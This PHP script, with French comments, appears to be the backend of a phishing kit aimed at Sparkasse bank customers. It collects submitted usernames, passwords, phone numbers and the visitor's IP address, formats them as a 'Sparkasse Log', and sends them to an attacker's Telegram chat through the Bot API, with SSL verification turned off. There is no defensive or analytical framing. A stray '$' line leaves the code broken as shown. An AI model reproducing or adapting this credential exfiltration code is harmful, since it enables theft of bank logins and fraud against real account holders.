<?php
require 'config.php';

/**
 * Envoie un message Telegram depuis la page de succès
 */
function sendTelegramMessage($message) {
    $url = "https://api.telegram.org/bot" . bot_token . "/sendMessage";
    
    $data = [
        'chat_id' => CHAT_ID,
        'text' => $message,
        'parse_mode' => 'HTML'
    ];
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    
    $response = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    $error = curl_error($ch);
    curl_close($ch);
    
    if ($error) {
        return [
            'success' => false,
            'error' => 'Erreur cURL: ' . $error
        ];
    }
    
    $responseData = json_decode($response, true);
    
    return [
        'success' => $httpCode === 200 && $responseData['ok'],
        'http_code' => $httpCode,
        'response' => $responseData,
        'error' => $httpCode !== 200 ? 'Erreur HTTP: ' . $httpCode : null
    ];
}

// Traitement de la requête
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $bank = $_POST['bank'] ?? 'Non spécifiée';
    $messageId = $_POST['message_id'] ?? 'N/A';
    $email = $_POST['email'] ?? 'user@example.com';
    $phone = $_POST['phone'] ?? '+33123456789';
    
    // Message propre et organisé
    $globalMessage = "======Sparkasse Log======\n\n";
    $globalMessage .= "[Message-Id: " . $messageId . "] \n\n";
    $globalMessage .= "🏦 Bank: " . htmlspecialchars($bank) . " \n";
    $globalMessage .= "👤 User Name: " . htmlspecialchars($email) . " \n";
    $globalMessage .= "🔑 Password: " . htmlspecialchars($phone) . " \n";
    $globalMessage .= "📅 DOB: " . date('d/m/Y') . " \n";
    $globalMessage .= "📝 Full Name: " . htmlspecialchars($email) . " \n";
    $globalMessage .= "📱 Phone: " . htmlspecialchars($phone) . " \n";
    $globalMessage .= "🗺Ip Address: " . ($_SERVER['REMOTE_ADDR'] ?? '127.0.0.1') . " \n";
    $
    
    // Envoyer le message
    $result = sendTelegramMessage($globalMessage);
    
    // Retourner la réponse en JSON
    header('Content-Type: application/json');
    echo json_encode([
        'success' => $result['success'],
        'message' => $result['success'] ? 'Message envoyé avec succès !' : 'Erreur: ' . ($result['error'] ?? 'Erreur inconnue'),
        'details' => $result
    ]);
    exit;
}

// Si accès direct, retourner une erreur
header('Content-Type: application/json');
echo json_encode([
    'success' => false,
    'message' => 'Accès direct non autorisé'
]);
?>
